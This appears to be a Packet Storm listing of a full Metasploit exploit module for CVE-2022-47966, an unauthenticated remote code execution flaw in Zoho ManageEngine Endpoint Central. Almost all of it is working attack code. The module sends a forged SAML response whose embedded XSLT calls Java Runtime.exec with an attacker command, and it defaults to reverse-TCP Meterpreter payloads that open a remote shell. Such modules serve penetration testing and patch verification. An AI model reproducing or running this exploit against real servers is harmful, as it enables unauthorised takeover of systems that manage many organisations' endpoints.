Lucene search

K
packetstormChristophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.comPACKETSTORM:170943
HistoryFeb 09, 2023 - 12:00 a.m.

Zoho ManageEngine Endpoint Central / MSP 10.1.2228.10 Remote Code Execution

2023-02-0900:00:00
Christophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.com
packetstormsecurity.com
338

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine Endpoint Central Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine Endpoint Central and MSP versions 10.1.2228.10  
and below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the Endpoint Central  
SAML endpoint. Note that the target is only vulnerable if it is  
configured with SAML-based SSO , and the service should be active.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente', # Based on the original code of the ServiceDesk Plus Metasploit module  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Added some small tweaks to the original code of Christophe to make it work for this target  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => [ 'win' ],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 8443,  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/SamlResponseServlet' ]),  
OptInt.new('DELAY', [ true, 'Number of seconds to wait between each request', 5 ])  
])  
end  
  
def check_saml_enabled  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/SamlRequestServlet')  
})  
if res.nil?  
print_error('No response from target.')  
return false  
end  
  
# ManageEngine Endpoint Servers with SAML enabled respond with 302 and a HTTP header Location: containing the SAML request  
if res && res.code == 302 && res.headers['Location'].include?('SAMLRequest=')  
return true  
else  
return false  
end  
end  
  
def check  
# check if SAML-based SSO is enabled otherwise exploit will fail  
# No additional fingerprint / banner information available to collect and determine version  
return Exploit::CheckCode::Safe unless check_saml_enabled  
  
CheckCode::Detected('SAML-based SSO is enabled.')  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
execute_cmdstager(delay: datastore['DELAY'])  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :windows_dropper  
cmd = "cmd /c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{Rex::Text.rand_text_alphanumeric(3..10)}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI']),  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 200  
lines = res.get_html_document.xpath('//body').text.lines.reject { |l| l.strip.empty? }.map(&:strip)  
unless lines.any? { |l| l.include?('URL blocked as maximum access limit for the page is exceeded') }  
elog("Unkown error returned:\n#{lines.join("\n")}")  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code}). See logs for details.")  
end  
fail_with(Failure::NoAccess, 'Maximum access limit exceeded (wait at least 1 minute and increase the DELAY option value)')  
end  
  
res  
end  
  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H